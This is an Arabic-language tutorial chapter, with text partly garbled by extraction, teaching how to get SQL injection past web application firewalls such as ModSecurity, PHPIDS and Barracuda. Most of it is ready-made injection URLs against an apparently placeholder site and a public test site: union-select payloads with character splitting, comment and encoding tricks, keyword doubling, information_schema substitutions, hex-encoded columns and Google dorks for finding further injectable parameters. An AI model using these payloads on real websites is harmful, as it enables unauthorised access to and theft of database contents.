www.InjectorBoy.md/viewitem.php?num=.13%0Aunion%0Aselect%0A1,2,version(),4,5,6,7,8,9,10-- -

▂ ▃ ▄ ▅ ▆ ▇ █ ‫▂ ▃ ▄ ▅ ▆ ▇ █ نهايـــة الفـصــ ل‬
‫� الفصل السادس ‪ :‬تقنيات الرقدراتالفائقة الرمتقللدمة �‬

‫كم بعض التقنيات الفائقة الرقدرة الرمتقللدمة لتخطي أعظم الحمايات المشهورة وعلى رأسها‬
‫في هذا الفصل سوف نعرض علي ر‬
‫الـ ‪ Barracuda‬والـ ‪ WebKnight‬والـ ‪ PHPIDS‬والـ ‪ URLScan‬والـ ‪ Modsecurity‬وغيرها الكثير ‪.‬‬

‫☆*•‪ ☆¸.‬الدمحتويات ☆¸‪☆*•.‬‬

‫الباب الول ‪ 🏻 :‬الـ مسئلة التشفيرية ‪🏻 BIND‬‬


‫الباب الثاني ‪ 🏻 :‬الـ مسئلة التشفيرية ‪🏻 seperator Style‬‬
‫الباب الثالث ‪ 🏻 :‬الـ ‪ waf‬الرممتلنع 🏻‬
‫الباب الرابع ‪ 🏻 :‬تقنية الستبدال الموازي 🏻‬
‫الباب الخامس ‪ 🏻 :‬تقنية التحكم في التدفق 🏻‬
‫الباب السادس ‪ 🏻 :‬تقنيات التشفير الرمتقلدمة 🏻‬
‫الباب السابع ‪ 🏻 :‬خادم الويب استبدل الـ ‪ select‬والمساحات البيضاء مع ل شيء 🏻‬
‫الباب الثامن ‪ 🏻 :‬الستعلمات الرمتعدده ‪🏻 multiple queries‬‬
‫الباب التاسع ‪ 🏻 :‬تقنية الـ 🏻 ‪🏻 Enumeration In SQL‬‬
‫الباب الول ‪ 🏻 :‬الـ مسئلة التشفيرية ‪🏻 BIND‬‬

‫فى العديد من الحالت التي يستحيل معها إستخدام التشفيرات التقليديه مثل الـ ‪ % @ /*! */‬تأتي المسئله ' ‪' BIND‬‬
‫والتي من شئنها كسر الواف والتحايل علي قاعدة البيانات كونها فكرة ذكيه خارج نطاق الصندوق ‪.‬‬

‫🏻 🏻 مثال تطبيقي 🏻 🏻‬

‫‪www.InjectorBoy.md/news.php?id=58 union distinct select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20-- -‬‬

‫كما يتضح من الصوره أعله الخطأ الناتج 🏻 ‪ 🏻 Conflict‬يمنع إستمرار عملية الحقن ويمنع في ذات الوقت التشفيرات‬
‫التقليديه مثل الـ ‪ , % @ /*! */‬لذا للتخطي هذا المر نقوم بإستخدام المسئلة ‪: BIND‬‬

‫وهي إسلتحداث عملية كسر للرمتغير الرمرتبطة قيمتره تركيبيا ل بقاعدة البيانات عن طريق تفريق رقم الرمتغير الرمسجل بها‬
‫بصورة رمباشرة من الوسط بإستخدام الرنقطه 🏻 ‪ Dot 🏻 .‬أو رمز الـ @ ‪ ,‬ووظيفة الرنقطة إلغاء الستعلم ذلك لكولنها‬
‫أصبحت في هذه الحالة شرط سلبي ‪ ,‬ثم يلي ذلك ضم الستعلم ‪ union‬إلى النصف الثاني من قيمة الرمتغير ‪ -‬أي‬
‫الرقم الثاني الذي تم فصل رره عن الرقم الول من الرمتغير ‪. -‬‬

‫‪1- news.php?id=58 union distinct select ♥,♥,♥ -- -‬‬

‫‪2- news.php?id=5.8union distinct select ♥,♥,♥ -- -‬‬

‫أو بإستخدام رمز الـ @ ‪.‬‬

‫‪3- news.php?id=5@8union distinct select ♥,♥,♥ -- -‬‬


www.InjectorBoy.md/news.php?id=5.8union distinct select
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20-- -
‫الباب الثاني ‪ 🏻 :‬الـ مسئلة التشفيرية ‪🏻 seperator Style‬‬

‫تقنية التشفير ‪ seperator Style‬ترتكز على مبدأ إعاقة الحظر على العمدة الرمرقمة بالستغلل النهائي ‪ ,‬فهي تسمح‬
‫للستعلم بالعمل في حال توقيف رره من الواف ‪.‬‬

‫بالمثال التالي عدد العمدة ال ر‬


‫كلية تم تحصيلره سبعة أعمدة كما يتضح من الرمقارنة التالية ‪-‬‬

‫‪www.InjectorBoy.md/news.php?id=58 order by 8-- -‬‬

‫‪www.InjectorBoy.md/news.php?id=58 order by 7-- -‬‬


‫لكن عند رنقطة كتابة الستغلل الكامل للستعلم بتم إعاقتره من الواف أو الحماية ‪-‬‬

‫‪www.InjectorBoy.md/news.php?id=58 /*!00000union*/ /*!00000select*/ 1,2,3,4,5,6,7-- -‬‬

‫لذا سوف أقوم بتفعيل خاصية الـ ‪ Columns seperator Style WAF bypass‬بالبحث عن العمود المحظور بسبب‬
‫الحماية والمتسبب فى هذه الرمشكلة على النحو التي ‪:‬‬

‫الموقع يعمل دون وجود أي حظورات ‪id=58 /*!00000union*/ /*!00000select*/ 1-- -‬‬
‫الموقع يعمل دون وجود أي حظورات ‪id=58 /*!00000union*/ /*!00000select*/ 1,2-- -‬‬

‫الموقع يعمل دون وجود أي حظورات ‪id=58 /*!00000union*/ /*!00000select*/ 1,2,3-- -‬‬

‫الموقع يعمل دون وجود أي حظورات ‪id=58 /*!00000union*/ /*!00000select*/ 1,2,3,4-- -‬‬

‫الموقع يعمل دون وجود أي حظورات ‪id=58 /*!00000union*/ /*!00000select*/ 1,2,3,4,5-- -‬‬

‫الموقع يعمل دون وجود أي حظورات ‪id=58 /*!00000union*/ /*!00000select*/ 1,2,3,4,5,6-- -‬‬

‫حظر على الستعلم ‪id=58 /*!00000union*/ /*!00000select*/ 1,2,3,4,5,6,7-- -‬‬

‫هذا الحظر يردل على أ لمن العمود السابع هو سبب هذه الرمشكلة لذا فاللمتفادي ذلك الحظر سوف نقوم بتفعيل خاصية الـ‬
‫‪ Columns seperator Style‬وذلك بإضافة رمز الـ ‪ ' ~ ' seperator‬قبل رقم العمود السابع المحظور لعكس وإلغاء‬
‫عملية الحظر من عليه وذلك على النحو التي ‪:‬‬
www.InjectorBoy.md/news.php?id=58 /*!00000union*/ /*!00000select*/ 1,2,3,4,5,6666,~7-- -

www.InjectorBoy.md/news.php?id=58 /*!00000union*/ /*!00000select*/ 1,2,3,4,5,version((,~7-- -


‫🏻 الباب الثالث ‪ :‬الـ ‪ waf‬الرممتلنع 🏻‬

‫الـ ‪ waf‬الرممتلنع ‪ :‬يعني إستحالة تخطي الحماية مهما كانت التقنيات الرمستخدمة لذلك ‪ ,‬ونقرصد به الـواف ‪ , preg_match‬لذا‬
‫فالنتماشى معا ل بهذا الموضوع الشيق لفهم هذا الواف الرممتلنع ‪-‬‬

‫☆*•‪ ☆¸.‬مثال أ لمولي لتوضيح الفكرة العامة ☆¸‪☆*•.‬‬

‫[ مولقع رمستهدف ] ‪www.InjectorBoy.md/adv_master.php?news_id=1401‬‬

‫[ إختبار إمكانية الصابة ] '‪www.InjectorBoy.md/adv_master.php?news_id=1401‬‬

‫بالمثال السابق تأكد المر بالصابة بثغرة الحقن ‪ ,‬ولعند إستخدام تقنية الكشف عن العدد ال ر‬
‫كلي للعمدة تبين أنهم ثلث‬
‫جد حماية رمنصبة بالسيرفر لذا قامت بكشف عملية الحقن‬ ‫عشر عمودا ل ‪ ,‬وبـ لكتابة الستغلل ال ر‬
‫كلي لرهم تم رملحظة توا ر‬
‫وصدها ‪-‬‬

‫!!!‪SQL INJECTION DETECTED‬‬


www.InjectorBoy.md/adv_master.php?news_id=.1401 union select 1,2,3,4,5,6,7,8,9,10,11,12,13 -- -

•◘╦╚☆ ‫•◘╚╦☆ رمحاولت لتخطي الحماية‬

- ‫الن للرنجري عدة رمحاولت لتخطي هذه الحماية بعدة رأمور وتقنيات رمتوفرة لدينا‬

]1[ www.InjectorBoy.md/adv_master.php?news_id=.1401 /*!00000union*/ /*!00000%53elect*/


1,2,3,4,5,6,7,8,9,10,11,12,13 -- -

]2[ www.InjectorBoy.md/adv_master.php?news_id=.1401-.1union-- a
%0Aselect@,2,3,4,5,6,7,8,9,10,11,12,13 -- -

]3[ www.InjectorBoy.md/adv_master.php?news_id=.1401 %55nIoN%23aaaaaaaaaaaaaaaaaaaaaa%0a


%23aaaaaaaaaaaaaaaaaaaaaa%0a%23aaaaaaaaaaaaaaaaaaaaaa%0a%23aaaaaaaaaaaaaaaaaaaaaa%0a
%23aaaaaaaaaaaaaaaaaaaaaa%0a%23aaaaaaaaaaaaaaaaaaaaaa%0a%23aaaaaaaaaaaaaaaaaaaaaa%0a
%23aaaaaaaaaaaaaaaaaaaaaa%0a%23aaaaaaaaaaaaaaaaaaaaaa%0a%23aaaaaaaaaaaaaaaaaaaaaa%0a
%23aaaaaaaaaaaaaaaaaaaaaa%0a%23aaaaaaaaaaaaaaaaaaaaaa%0a%23aaaaaaaaaaaaaaaaaaaaaa%0a
%23aaaaaaaaaaaaaaaaaaaaaa%0a%23aaaaaaaaaaaaaaaaaaaaaa%0a%23aaaaaaaaaaaaaaaaaaaaaa%0a
%23aaaaaaaaaaaaaaaaaaaaaa%0a%23aaaaaaaaaaaaaaaaaaaaaa%0a%23aaaaaaaaaaaaaaaaaaaaaa%0a
%23aaaaaaaaaaaaaaaaaaaaaa%0a%23aaaaaaaaaaaaaaaaaaaaaa%0a%23aaaaaaaaaaaaaaaaaaaaaa%0a
%23aaaaaaaaaaaaaaaaaaaaaa%0a%23aaaaaaaaaaaaaaaaaaaaaa%0a%23aaaaaaaaaaaaaaaaaaaaaa%0a
%23aaaaaaaaaaaaaaaaaaaaaa%0a%23aaaaaaaaaaaaaaaaaaaaaa%0a%23aaaaaaaaaaaaaaaaaaaaaa%0a
%23aaaaaaaaaaaaaaaaaaaaaa%0a%23aaaaaaaaaaaaaaaaaaaaaa%0a%23aaaaaaaaaaaaaaaaaaaaaa%0a
%53eLeCt 1,2,3,4,5,6,7,8,9,10,11,12,13 -- -

‫ عند قيامنا بعمليات التحاريل الرمتعددة لتخطي هذا الحماية الرممتزللمته لم نو لمفق لذلك وقامت هذه الحماية بصدنا عدة مرات‬: ‫الرملحظات‬
‫ وكيف‬preg_match ‫ لكن لماذا رقلت أن الحماية هي الواف‬, preg_match ‫ لذا إعتقد أن هذه الحماية هي الواف‬, ‫عند ركل رمحاولة‬
‫إستنتجت ذلك ؟‬
‫•◘╚╦☆ تقنية الكشف عن الواف ‪•◘╦╚☆ preg_match‬‬

‫لخرى ‪ ,‬بمعني‬ ‫الفنكشن ‪ : preg_match‬هو تقنية موجودة بالـ ‪ , PHP‬ووظيفة هذا الفنكشن الكشف عن السلسل داخل السلسل ا ر‬
‫إني مهما حاولت جاهدا ل التحاريل لخفاء مثل ل القيمة ‪ select‬داخل سلسل من إستعلمات الفلتره لن ريفلح المر للرقدرة هذا الفنكشن‬
‫عن كشف القيم الممنوعة عندهر مهما كانت رمتسللترة داخل سلسل رأخرى كما ريشار إلية رهنا ‪-‬‬

‫‪php.net/manual/en/function.preg-match.php‬‬

‫ورأسلوب الكشف عن الواف ‪ preg_match‬تكون بإستبدال قيمة الـ ‪ select‬بالقيمة التالية ‪ , aaa%53electaaa‬وهذه القيمة رتعطي‬
‫بصورة مؤكدة ' خطأ ' عند عدم تواجد الفنكشن ‪ preg_match‬بالـ ‪ PHP‬ورتعطي بصورة مؤكد ' صد ' عند تواجد الفنكشن ‪preg_match‬‬
‫‪-‬‬

‫فكما بالمثال التالي بموقع ل يحتوي الفنكشن ‪ preg_match‬نحرصل على خطأ ريثبت عدم تواجده ‪ -‬ااي الفنكشن ‪- preg_match‬‬

‫‪testphp.vulnweb.com/listproducts.php?ca=.1 union aaaSelectaaa 1,2,3,4,5,6,7,8,9,10,11-- -‬‬

‫لسلوب بموقع يحتوي الفنكشن ‪ , preg_match‬وهو الموقع الذي عجزنا عن تخطي الواف به سابقا ل في بادئ‬ ‫وعند إستخدام هذا ا ر‬
‫المر ‪ ,‬يتم التح ل رصل على صد رمباشر ‪ ,‬وهذا ريثبت إن الـ واف هو الـ ‪preg_match‬‬

‫‪www.InjectorBoy.md/adv_master.php?news_id=.1401 union aaaSelectaaa 1,2,3,4,5,6,7,8,9,10,11,12,13‬‬


‫‪-- -‬‬

‫لذا لنترك هذا الموقع وشأنره فالبتعاد عنره غنيمة ^__^‬


‫🏻 الباب الرابع ‪ :‬تقنية الستبدال الموازي 🏻‬

‫تقنية الستبدال الموازي ‪ :‬هي تقنية تسمح بإستبدال القيم عند حظرها بقيم رمشابة رتعطي نفس الناتج ال ر‬
‫كلي للستعلم الصلي ‪-‬‬

‫☆*•‪ ☆¸.‬مثال أ لمولي لتوضيح الفكرة العامة ☆¸‪☆*•.‬‬

‫‪www.InjectorBoy.md/show_news.php?id=55‬‬

‫'‪www.InjectorBoy.md/show_news.php?id=55‬‬

‫بالمثال السابق تأكد المر بالصابة بثغرة الحقن ‪ ,‬ولعند إستخدام تقنية الكشف عن العدد ال ر‬
‫كلي للعمدة تبين أنهم س ل متة أعمدة ‪ ,‬وبـ‬
‫جد حماية رمنصبة بالسيرفر لذا قامت بكشف عملية الحقن وصدها ‪-‬‬ ‫لكتابة الستغلل الكامل لرهم تم رملحظة توا ر‬

‫‪www.InjectorBoy.md/show_news.php?id=.55 union select 1,2,3,4,5,6 +--‬‬


‫لذا وعند رمحاولة فلترة الستعلمات تم تخطي الواف بسهولة ومن الرمحاولة الولى ‪-‬‬

‫‪www.InjectorBoy.md/show_news.php?id=.55 /*!00000union*/ /*!00000select*/ 1,2,3,4,5,6 +--‬‬

‫•◘╚╦☆ تحصيل المعلومات الحساسة ☆╚╦◘•‬

‫رملحظة ‪ :‬فالنحررص على فلترة الستعلمات الرمستخدمة نظرا ل لوجود واف يحمي السيرفر ‪ ,‬ولنستخدم تقنية الـ ‪ , N‬وهي تقنية حذف‬
‫المساحات البيضاء والستعلمات الخيرة وذلك ركلره يكون قبل إضافة قيمة الـ \‪ N‬كالتالي ‪:‬‬

‫] تم حذف الصفر [ ‪ N = and \Nunion select‬تقنية || ‪ ] and 0 union select‬الستعلم [‬

‫] تم حذف الرقم الخير للعمدة ‪ N = 5,\Nfrom information [ 6‬تقنية || ‪ ] 5,6 from information‬الستعلم [‬

‫‪www.InjectorBoy.md/show_news.php?id=.55 and \Nunion select‬‬


‫‪1,2,group_concat(table_name(,4,5,\Nfrom information_schema.tables +--‬‬

‫لم يتم التخطي نظرا ل لوجود حظر على القيمة ‪ tables‬بالستعلم ‪information_schema‬‬
: ‫ منه كالتالي‬tables ‫وقد علمت ذلك كون الموقع يقوم بالتحميل عند حذف القيمة‬

www.InjectorBoy.md/show_news.php?id=.55 and \Nunion select


1,2,group_concat(table_name(,4,5,\Nfrom information_schema. +--

: ‫ ورهم على النحو التالي‬information_schema ‫ بالـ‬tables ‫لذا فالنستخدم القيم الموازية لـ‬

information_schema.partitions

information_schema.statistics

information_schema.key_column_usage

information_schema.table_constraints

www.InjectorBoy.md/show_news.php?id=.55 and \Nunion select


1,2,group_concat(table_name(,4,5,\Nfrom information_schema.key_column_usage +--

: ‫ وسوف يكون الستعلم النهائي على هذا النحو‬, ‫كما يظهر جالي لما ل تم إستخراج الجداول بسهولة فائقلة‬

\Nfrom information_schema.key_column_usage where table_name=Hex_Table


‫� الباب الخامس ‪ :‬تقنية التحكم في التدفق �‬

‫تقنية التحكم في التدفق أو الـ ‪ Flow Control‬هي تقنية لـ مراقبة خرج الرمع لمرف وذلك لتعويض الفقد الداخلي في القيمة العامة‬
‫للعمدة ‪ ,‬وتنشئ هذه التقنية بإضافة قيمة عمود ' ‪ ' column‬إلى الستعلم الصل لتعويض الفقد الداخلي ‪.‬‬

‫☆*•‪ ☆¸.‬التكوين الهيكلي للتقنية ☆¸‪☆*•.‬‬

‫‪www.InjectorBoy.md/news.php?id=.58||!{f`id`}union-- a%0aselect@,2,3,4-- -‬‬

‫‪[1] || means "or" .‬‬


‫‪[2] ! means not() .‬‬
‫‪[3] {f} means timestamp .‬‬
‫‪[4] `id` is the column .‬‬
‫‪[5] -‬‬-‬‬%0a means comment and new line .‬‬
‫‪[6] the @ after is just to stick a char to select, @ is a temporary variable .‬‬

‫]‪ || [1‬تعني "أو" ‪.‬‬


‫]‪ ! [2‬تعني ل)( ‪.‬‬
‫]‪ {f} [3‬تعني الطابع الزمني ‪.‬‬
‫]‪ `id` [4‬تعني العمود ‪.‬‬
‫]‪ %0a-- [5‬تعني تعليق و سطر جديد ‪.‬‬
‫]‪ [6‬الـ @ بعد الـ ‪ select‬هي رمجرد رمتغير مؤقت ويحذف الرقم الول للعمدة وريستبدل بها ‪.‬‬
‫متي رتستخدم هذه التقنية ‪ :‬تستخدم هذه التقنية في حالة كتابة الستغلل الكامل للموقع الرمصاب ول ينرتج عنها شئ ‪ -‬بمعني ل‬
‫تظهر مثل ل أرقام العمدة الرمصابة بالصفحة أو ل تظهر البيانات المطلوبة نتيجة إستخدام إستعلمات سحب المعلومات الحساسة ‪-‬‬

‫رملحظة ‪ :‬هذه التقنية ل تصرلح لكافة قواعد البيانات ‪ ,‬بمعنى إنها ل تعمل إل مع المواقع التي رتعاني فقد في قيم العمدة ال ر‬
‫كلية‬
‫والتي تحتاج لتعريفره عند كتابة الستغلل العام فكما نرى لم تنجح مع موقع ليس به هذه الرمشكلة ‪-‬‬

‫‪testphp.vulnweb.com/listproducts.php?cat=.1||!{f`id`}union-- a%0Aselect@,2,3,4,5,6,7,8,9,10,11-- -‬‬


‫🏻 الباب السادس ‪ :‬تقنيات التشفير الرمتقلدمة 🏻‬

‫في هذا الباب سوف رنناقش تقنيات التشفير الجديدة على رمستوى الـ ‪ Union Table‬والـ ‪ Select Table‬والـ فواصل البينية والتي‬
‫من شئنها جميعا ل تخطي أعظم الحمايات المشهورة بشكل تقريبي يصل إلي الـ ‪ %75‬من مجموع التقنيات المعروفة ‪ ,‬رثم نقوم تاليا ل‬
‫بنهاية الباب بإضافة بعض المثلة التركيبية كـ تبيان لهذه التقنيات ورأساليب ضمها للبعلضها البعض جميعا ل ‪.‬‬

‫☆╚╦◘• ‪☆╦╚◘• Union Table‬‬

‫القسم الول ‪ :‬ويشمل ستة عشر رأسلوبا ل يمكن إستخدامرهم على رمستوى الـ ‪ Union Table‬وهم رمب لمينين في الرمربع التالي الشكل ‪:‬‬

‫‪.‬‬ ‫‪%.0‬‬ ‫""‪%‬‬ ‫‪%'' &.0 &\N -.0 =\N <0. >0. e0 ^0. |"" |'' |.0 |\N‬‬

‫وتقنية ضمهم للـ ‪ Union‬تكون ببدأ الجملة بهم ليكونوا على هذه الهيئة التركيبية ‪:‬‬

‫‪.union‬‬ ‫‪%.0union‬‬ ‫‪%""union‬‬ ‫‪%''union‬‬ ‫‪&.0union‬‬ ‫‪&\Nunion‬‬ ‫‪-.0union‬‬ ‫‪=\Nunion‬‬


‫‪<0.union‬‬ ‫‪>0.union‬‬ ‫‪e0union‬‬ ‫‪^0.union‬‬ ‫‪|""union‬‬ ‫‪|''union‬‬ ‫‪|.0union‬‬ ‫‪|\Nunion‬‬

‫أمثلة على الستخدام‬

‫‪id=1.union‬‬
‫‪id=1%''union‬‬
‫‪id=1&\Nunion‬‬
‫‪id=1-.0union‬‬
‫‪id=1=\Nunion‬‬
☆╚╦◘• Select Table •◘╚╦☆

‫ وهم رمب لمينين في الرمربع التالي‬Select Table ‫ ويشمل إثنين وثلثون رأسلوبا ل يمكن إستخدامهم على رمستوي الـ‬: ‫القسم الثاني‬
: ‫الشكل‬

a ""= ''* ''<"" /"" $"" .~ @~ -~ >@ <@ %@ ^@ /@ =@ *@ |@ @- ~! @! .! >! <! ~!-+
''> ''_ +@+ @$% @&& @*. @=~ @<. @%C0% @%C0/ @%FF| \N$ \N%FF

: ‫ تكون ببدأ الجملة بهم ليكونوا على هذه الهيئة التركيبية‬Select ‫وتقنية ضمهم للـ‬

~!-+select >!select <!select .!select @!select ~!select @-select |@select


*@select =@select /@select ^@select %@select >@select <@select -~select
@~select .~select $""select /""select select""a =""select *''select <''select
>''select _''select +@+select %$@select &&@select .*@select ~=@select .<@select
select@ select@ select@ $select\N select\N
%C0% /%C0 |%FF %FF

‫أمثلة على الستخدام‬

id=1 union select+-!~


id=1 union select!>
id=1 union select!<
id=1 union select!.
id=1 union select!@
id=1 union select!~
☆╦╚◘• ‫☆╚╦◘• الفواصل البينية‬

‫ ويشمل أربعة أساليب يمكن إستخدامرهم على رمستوى الـفواصل البينية وهم رمب لمينين في الرمربع التالي الشكل من‬: ‫القسم الثالث‬
: ‫ث القيمة وطريقة إستخدامها‬ ‫حي ر‬

distinct union distinct select


distinctrow union distinctrow select
--+%0A union--+%0Aselect
/*** ^ ***/ union/*** ^ ***/select

- ‫بعض المثلة التركيبية كـ تبيان لهذه التقنيات ورأسلوب ضمها للبعلضها البعض جميعا ل‬

id=1.union distinct select""a


id=1%.0union distinct select+-!~
id=1%""union distinct select@$%
id=1%''union distinct select@%C0%
id=1-.0union distinct select@%C0/
id=1=\Nunion distinct select@%FF|
id=1<0.union distinct select@=
id=1>0.union distinct select~.
id=1e0union distinct select""$
id=1^0.union distinct select!~
id=1|""union distinct select\N$
id=1|''union distinct select\N%FF
id=1|.0union distinct select!@
id=1|\Nunion distinct select""/
‫الباب السابع ‪ 🏻 :‬خادم الويب استبدل الـ ‪ select‬والمساحات البيضاء مع ل شيء 🏻‬

‫•◘╦╚☆ ‪•◘╚╦☆ the webserver replacing select and space with nothing‬‬

‫وكـ بداية للشرح العام لهذه المسئلة سوف نقوم بالشرح المبدئي على موقع رمصاب وإختبار الصابة بالثغرة به ‪-‬‬

‫‪www.InjectorBoy.md/historia_companhia.php?id=216‬‬

‫'‪www.InjectorBoy.md/historia_companhia.php?id=216‬‬
‫كلي للعمدة ‪ ,‬والتي عند إختبارها بهذا الموقع لم تعمل بتاتا ل مع‬
‫الن وبعد إثبات الصابة ننتقل أليا ل لمسئلة إختبار العدد ال ر‬
‫الستعلمات العتيادية الخاصة بهذا المر ‪ ,‬لذا إنتقلت رمباشرلة لختبار الـ ‪ union based‬وذلك على النحو التالي ‪:‬‬

‫‪]1[ www.InjectorBoy.md/historia_companhia.php?id=216 union select 1--‬‬


‫‪]2[ www.InjectorBoy.md/historia_companhia.php?id=216 union select 1,2--‬‬
‫‪]3[ www.InjectorBoy.md/historia_companhia.php?id=216 union select 1,2,3--‬‬
‫‪]4[ www.InjectorBoy.md/historia_companhia.php?id=216 union select 1,2,3,4--‬‬
‫‪]5[ www.InjectorBoy.md/historia_companhia.php?id=216 union select 1,2,3,4,5--‬‬
‫‪]6[ www.InjectorBoy.md/historia_companhia.php?id=216 union select 1,2,3,4,5,6--‬‬

‫‪]7[ www.InjectorBoy.md/historia_companhia.php?id=216 union select‬‬


‫‪1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,‬‬
‫‪38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,7‬‬
‫‪1,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100--‬‬

‫بالختبار من القيمة الرقمية واحد حتي القيمة الرقمية مائة لم يطررأ أي تغ ل رير على الصفحة ‪ ,‬لذا أستنتج من ذلك أن الواف‬
‫قام بإستبدال الـ ‪ select‬بل شئ ‪ ,‬وهذا أمر يصرعب وضع رطرق لكتشافة لذا رقمت بإستنتاجة ذاتيا ل بدون أية مؤشرات‬
‫على ذلك ‪ ,‬لذا ريعد هذا المر مسئلة إستنتاجية تجريبية ل أكثر على السيرفر ‪ ,‬ولقد إعتقدت بديهيا ل أن السيرفر قام‬
‫بإستبدال الـ ‪ select‬بل شئ لني لم أوفق لي تخطي رهنا ‪ ,‬وأيضا ل كون قيمة الـ ‪ select‬هي القيمة الكثر إستخداما ل‬
‫فى مسائل الحقن العامة والتي تعمل الحمايات على إيقاف إستخدامها بصورة دائمة ‪ ,‬وتخطي الـ ل شئ يكون بإعطاء الـ‬
‫‪ select‬قيمة رمضاعفة ع لمما هي علية للتحاريل على الحماية وذلك على النحو التالي ‪ selselectect‬أو ‪. sel ect‬‬

‫‪www.InjectorBoy.md/historia_companhia.php?id=216 union selselectect 1--‬‬


‫‪www.InjectorBoy.md/historia_companhia.php?id=216 union sel ect 1--‬‬

‫كما رنلحظ بالمثالين السابقين طرأ تغ ل رير على الصفحة على عكس ما كانت علية سابقا ل ‪ ,‬فدل ذلك على أن هذه المسئلة‬
‫تعمل بصورة جيدة ‪ ,‬وأيضا ل عند العدد ثلث من العمدة طرأ تغ ل رير أخر دل على أن العدد ال ر‬
‫كلي للعمدة هي ثلثرة ‪-‬‬

‫‪www.InjectorBoy.md/historia_companhia.php?id=216 union selselectect 1,2,3--‬‬


- ‫وبإضافة التنقيط لقيمة الرمتغير بالمسئلة ظهر العمود الرمصاب صاحب القيمة العددية ثلثة‬

www.InjectorBoy.md/historia_companhia.php?id=.216 union selselectect 1,2,3--

www.InjectorBoy.md/historia_companhia.php?id=.216 union selselectect 1,2,version((--


‫رملحظة عامة ‪ :‬بعض الحمايات بخادم الويب تلجأ عادة إلي استبدال الـ ‪ select‬مع ل شئ ‪ ,‬وأيضا ل تقوم بإستبدال‬
‫المساحات البيضاء الـ ‪ space‬مع ل شيء ‪ ,‬وعلج الخيرة تكون بإستبدال المساحات البيضاء الـ ‪ space‬نفسها مع القيمة‬
‫التشفيرية ‪ 0d%‬وذلك على النحو التالي وكما بالمثال ‪:‬‬

‫‪www.InjectorBoy.md/news.php?id=58%0dunion%0dselect%0d1,2,3,4,5,6-- -‬‬
‫الباب الثامن ‪ 🏻 :‬الستعلمات الرمتعدده ‪🏻 multiple queries‬‬

‫الستعلمات الرمتعدده تنرتج لوجود عدة أخطأ رمتنوعه بالقاعده الواحده ‪.‬‬

‫ففى الموقع التالي عند الستدلل على وجود الخطأ برمز الـ ‪ comma‬يظهر الخطأ الرمتعدد على النحو التالي ‪:‬‬

‫'‪www.InjectorBoy.md/galleryCategory.php?id=4‬‬

‫وكما لحظنا تواجد ثلث أخطأ رمتعدده وليس خطأ واحد وهذا ما رنسميه الـ 🏻 ‪ 🏻 multiple queries‬ويتم تخطيهذا‬
‫الخطأ بإحتواء العمود الذي تسبب فى ذلك الـ 🏻 ‪ 🏻 multiple queries‬على النحوالتالي ‪:‬‬

‫☆¸‪ ☆*•.‬أول ا ☆*•‪ : ☆¸.‬نتررك العمود الرمتسبب في ذلك الخطأ وليكون مثل ل رقم صفر ‪ 0‬على سبيل المثال كما هو‬

‫☆¸‪ ☆*•.‬ثانيا ا ☆*•‪ : ☆¸.‬رنضيف بنهايرة هذا العمود تعليق أو ‪ comment‬كالتالي ‪ - --‬ثم نقوم بتشفيره بالهيكس بهذه‬
‫الصورة‬

‫‪0-- -‬‬

‫‪www.waraxe.us/sql-char-encoder.html‬‬
‫‪0x302d2d202d‬‬

‫☆¸‪ ☆*•.‬ثالثا ا ☆*•‪ : ☆¸.‬بعد معرفة عدد العمده ال ر‬


‫كليه للقاعده وكتابة الستغلل‪ ,‬نقوم بتجربرته ‪ -‬أي التعليمه الرمشفره‬
‫التي رقمنا بها ‪ -‬على العمده كافه عمود تلو الخر مع رمراعاة تشفير رقم ركل عمود نقوم بالتجربه علية بصوره رمستقله‬
‫بالهيكس كالتالي ‪:‬‬

‫‪1-- -‬‬

‫‪0x312d2d202d‬‬

‫‪id=1137 and 0 UNION SELECT 0x312d2d202d,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24‬‬

‫‪2-- -‬‬

‫‪0x322d2d202d‬‬

‫‪id=1137 and 0 UNION SELECT 1,0x322d2d202d,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24‬‬

‫وكما رنلحظ الن أدناه تم تخطي رمشكله الستعلمات الرمتعدده 🏻 ‪ 🏻 multiple queries‬عند العمود رقم إثنين‬

‫‪www.InjectorBoy.md/galleryCategory.php?id=1137 and 0 UNION SELECT‬‬


‫‪1,0x322d2d202d,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24‬‬
‫الباب التاسع ‪ 🏻 :‬تقنية الـ ‪🏻 Enumeration In SQL - EIS‬‬

‫في غاللب الحيان ل نستطيع تخطي الواف الرممتلنع ‪ ,‬لذا نعتقد أن ل مفر من الـلـجؤ لعملية إلتفاف وتموية على حماية‬
‫الموقع بتقنية الـ ‪ EIS‬والتي تتم لميز بسهولة تنفيذ التقنية لرنتابع ‪:‬‬

‫‪www.InjectorBoy.GHT/products.php?id=2‬‬

‫‪www.InjectorBoy.GHT/products.php?id=.2' union select‬‬


‫‪1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30 -- -‬‬

‫كما رنلحظ لم نتمكن من معرفة الجداول بإستخراجها بسبب الحماية الرممتلنعة للموقع لذا لرننفذ تقنية الـ ‪. EIS‬‬

‫مبدأ تقنية الـ ‪ : EIS‬تقوم على إستبدال الرمتغير الحالي الرممتلنع برمتغير أخر جديد ضمن نطاق الموقع الهدف بشرط البقاء‬
‫كلية الرمستخرجة سابقا ل بالرمتغير الول ‪.‬‬
‫على قيمة الستغلل الكامل للعمدة ال ر‬

‫الستعلم الرمستخدم‬

‫‪inurl:php?id= site:your site‬‬

‫نقوم بإستبدال القيمة ‪ your site‬بقيمة الموقع الهدف مع تجارهل قيمة الرمتغير الحالي كالتالي ‪:‬‬

‫‪google : inurl:php?id= site:www.InjectorBoy.GHT‬‬


‫‪google : inurl:php?id= site:www.InjectorBoy.GHT‬‬

‫متغير ‪ mixers‬لذا لنقوم بتبديل قيمة الرابط‬


‫كما رنلحظ بالبحث ظهر رمتغير أخر جديد غير الـ ‪ products‬وهو ال م‬
